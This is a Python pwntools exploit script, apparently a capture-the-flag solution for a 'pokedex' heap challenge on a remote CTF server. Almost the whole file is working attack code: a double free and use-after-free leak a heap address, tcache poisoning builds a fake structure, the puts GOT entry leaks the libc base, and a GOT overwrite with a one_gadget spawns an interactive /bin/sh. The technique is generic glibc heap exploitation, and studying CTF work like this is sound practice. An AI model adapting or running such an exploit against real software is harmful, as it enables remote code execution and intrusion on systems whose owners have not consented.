pokedex.py

#!/usr/bin/env python
from pwn import *

local = False

host = 'challenges.ka0labs.org'
port = 1341

elf  = ELF('pokedex_nn2k18')
libc = ELF('libc-2.27.so')

context.terminal = ['tmux', 'sp', '-h']
#context.log_level = 'debug'

def createPokemon(idx, name, height, weight, power):
    io.sendlineafter('option> ', '1')
    io.sendlineafter('ID: ', str(idx))
    io.sendlineafter('Name: ', name)
    io.sendlineafter('Height: ', str(height))
    io.sendlineafter('Weight: ', str(weight))
    io.sendlineafter('Power: ', str(power))

def editPokemon(idx, name, height, weight, power):
    io.sendlineafter('option> ', '2')
    io.sendlineafter('ID to edit: ', str(idx))  
    io.sendlineafter('name: ', name)
    io.sendlineafter('Height: ', str(height))
    io.sendlineafter('Weight: ', str(weight))
    io.sendlineafter('Power: ', str(power))

def deletePokemon(idx):
    io.sendlineafter('option> ', '3')
    io.sendlineafter('ID to delete: ', str(idx))
    
def viewPokemon(idx):
    io.sendlineafter('option> ', '4')
    io.sendlineafter('ID to print: ', str(idx))
 
io = process(elf.path, env = {'LD_PRELOAD': libc.path}) if local else \
     remote(host, port)

createPokemon(0, 'AAAA', 0, 0, 0)
deletePokemon(0) # trigger double free
deletePokemon(0)
viewPokemon(0) # use-after-invalidation

io.recvuntil('Name: ')
heap_addr = u64(io.recv(4).ljust(8, '\x00')) - 0x260
log.success('Heap @ {:#x}'.format(heap_addr))

# Tcache poisoning (glibc >= 2.26)
createPokemon(10, 'A' * 0x60, 0, 0, 0)
deletePokemon(10)
editPokemon(10, p64(heap_addr + 0x260), 0, 0, 0) # use-after-free -> write-what-where

# fake pokemon struct
payload  = ''
payload += p64(0x0)
payload += p64(0x6000000000)
payload += p64(elf.got['puts'])
payload += p64(heap_addr + 0x260)
payload += p64(0x0) * 2
payload += p64(0x71)
payload += 'B' * (0x60 - len(payload))

createPokemon(11, 'B' * 0x60, 0, 0, 0)
createPokemon(12, payload, 0, 0, 0)

viewPokemon(10)

io.recvuntil('Name: ')
libc.address = u64(io.recv(6).ljust(8, '\x00')) - libc.sym['puts']
log.success('Libc @ {:#x}'.format(libc.address))

"""
constraints:
  rax == NULL

0x434b2	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xe42ee	execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL
"""

one_gadget = [0x434b2, 0xe42ee]

editPokemon(0, p64(libc.address + one_gadget[1]), 0, 0, 0) # .got.plt overwrite

io.interactive()